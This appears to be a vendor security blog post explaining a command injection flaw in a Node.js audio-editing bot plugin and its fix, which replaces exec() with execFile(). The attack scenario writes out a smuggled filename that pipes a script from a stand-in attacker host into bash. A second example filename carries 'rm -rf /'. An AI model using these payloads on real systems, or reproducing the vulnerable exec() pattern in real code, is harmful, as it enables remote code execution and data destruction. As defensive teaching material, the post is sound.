Introduction
In the plugins/Audio-Edit/audioedit.js file of a web service, we discovered a high-severity command injection vulnerability at line 44. The audio editing plugin handles user-uploaded audio files and processes them through FFmpeg—but the way it constructed shell commands created a dangerous attack vector.
The vulnerable code used Node.js's exec() function with template string interpolation:
exec(`ffmpeg -i ${media} ${settings} ${ran}`, (err) => {
The media variable comes from client.downloadAndSaveMediaMessage(), meaning the filename is derived from user-uploaded content. An attacker who controls the filename could inject arbitrary shell commands into this execution context.
The Vulnerability Explained
What Makes This Dangerous?
The exec() function in Node.js spawns a shell and executes the provided string as a shell command. When you use template literals like `ffmpeg -i ${media}`, the shell interprets the entire string—including any special characters in the variables.
Here's the vulnerable pattern that appeared three times in audioedit.js:
// Line 44 - Tempo adjustment
const media = await client.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
const ran = `${filename}.mp3`;
const settings = "-af atempo=4/4,asettingsrate=44500*2/3";
exec(`ffmpeg -i ${media} ${settings} ${ran}`, (err) => {
// Process audio...
});
// Line 70 - Equalizer effect
exec(`ffmpeg -i ${media} ${settings} ${ran}`, (err) => {
// Process audio...
});
// Line 96 - Reverse audio
const settings = '-filter_complex "areverse"';
exec(`ffmpeg -i ${media} ${settings} ${ran}`, (err) => {
// Process audio...
});
Attack Scenario
Imagine an attacker uploads an audio file with a carefully crafted filename like:
innocent.mp3; curl http://attacker.com/shell.sh | bash; #
When the server processes this file, the resulting command becomes:
ffmpeg -i innocent.mp3; curl http://attacker.com/shell.sh | bash; #.mp3 -af atempo=4/4 output.mp3
The shell interprets ; as a command separator, executing:
1. ffmpeg -i innocent.mp3 (fails or succeeds, doesn't matter)
2. curl http://attacker.com/shell.sh | bash (downloads and executes attacker's script)
3. Everything after # is treated as a comment
This is a web service, meaning this vulnerability is directly exploitable by any remote attacker who can send audio messages to the bot.
Real-World Impact
For this audio editing bot, successful exploitation could allow an attacker to:
- Execute arbitrary commands on the server
- Read sensitive files (credentials, API keys, database contents)
- Pivot to other systems on the network
- Install cryptocurrency miners or ransomware
- Use the compromised server as a proxy for further attacks
The Fix
The fix replaces exec() with execFile() and restructures arguments as arrays. Here's the before and after:
Before (Vulnerable)
const { exec } = require("child_process");
// ...
const settings = "-af atempo=4/4,asettingsrate=44500*2/3";
exec(`ffmpeg -i ${media} ${settings} ${ran}`, (err) => {
// Process audio...
});
After (Secure)
const { execFile } = require("child_process");
// ...
const settings = ["-af", "atempo=4/4,asettingsrate=44500*2/3"];
execFile("ffmpeg", ["-i", media, ...settings, ran], (err) => {
// Process audio...
});
Why This Works
The execFile() function differs from exec() in a critical way: it does not spawn a shell. Instead, it directly executes the specified binary (ffmpeg) and passes each array element as a separate argument.
When the media variable contains innocent.mp3; rm -rf /, execFile() treats the entire string as a single argument—the literal filename to pass to FFmpeg. FFmpeg will simply fail to find a file with that name, rather than the shell interpreting ; as a command separator.
The fix was applied consistently across all three audio processing functions:
| Function | Line | Settings Changed |
|---|---|---|
| Tempo adjustment | 44 | "-af atempo=..." → ["-af", "atempo=..."] |
| Equalizer | 70 | "-af equalizer=..." → ["-af", "equalizer=..."] |
| Reverse | 96 | '-filter_complex "areverse"' → ["-filter_complex", "areverse"] |
Prevention & Best Practices
1. Never Use exec() with User Input
If you must execute external commands, always prefer:
- execFile() - executes a file directly without shell
- spawn() - streams I/O without shell interpretation
- fork() - for Node.js child processes
2. Always Use Array Arguments
// ❌ Dangerous - shell interprets the string
exec(`command ${userInput}`);
// ✅ Safe - no shell interpretation
execFile('command', [userInput]);
3. Validate and Sanitize Filenames
Even with execFile(), validate that filenames match expected patterns:
const path = require('path');
function sanitizeFilename(filename) {
// Remove directory traversal attempts
const basename = path.basename(filename);
// Allow only alphanumeric, dash, underscore, and extension
if (!/^[\w\-]+\.[a-z0-9]+$/i.test(basename)) {
throw new Error('Invalid filename');
}
return basename;
}
4. Use Static Analysis
Tools like Semgrep can automatically detect dangerous patterns:
rules:
- id: detect-child-process-exec
patterns:
- pattern: exec($CMD)
- pattern-not: exec("...")
message: "Avoid exec() with dynamic input"
severity: ERROR
Key Takeaways
- Never use
exec()with template literals containing user data - the shell will interpret special characters as commands - The
audioedit.jsplugin was vulnerable in three separate functions - all processing user-uploaded audio through FFmpeg execFile()with array arguments eliminates shell interpretation - making command injection impossible through this vector- Web services amplify the risk - any user who can send messages to this bot could achieve remote code execution
- Defensive hardening removes exploit primitives - even if not immediately exploitable, these patterns can be chained with other weaknesses
How Orbis AppSec Detected This
- Source: User-uploaded audio file processed via
client.downloadAndSaveMediaMessage()in the bot's message handler - Sink:
exec()call atplugins/Audio-Edit/audioedit.js:44with template string interpolation - Missing control: No shell escaping or argument separation; user-controlled filename passed directly to shell command
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced
exec()withexecFile()and converted string arguments to arrays, eliminating shell interpretation
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in audioedit.js demonstrates why shell execution with user-controlled input is one of the most dangerous patterns in web development. The fix—switching from exec() to execFile() with array arguments—is simple but effective, completely eliminating the attack surface without changing the plugin's functionality.
When building applications that process user-uploaded files, always assume filenames are malicious. Use APIs that avoid shell interpretation, validate input against strict patterns, and leverage static analysis tools to catch these issues before they reach production.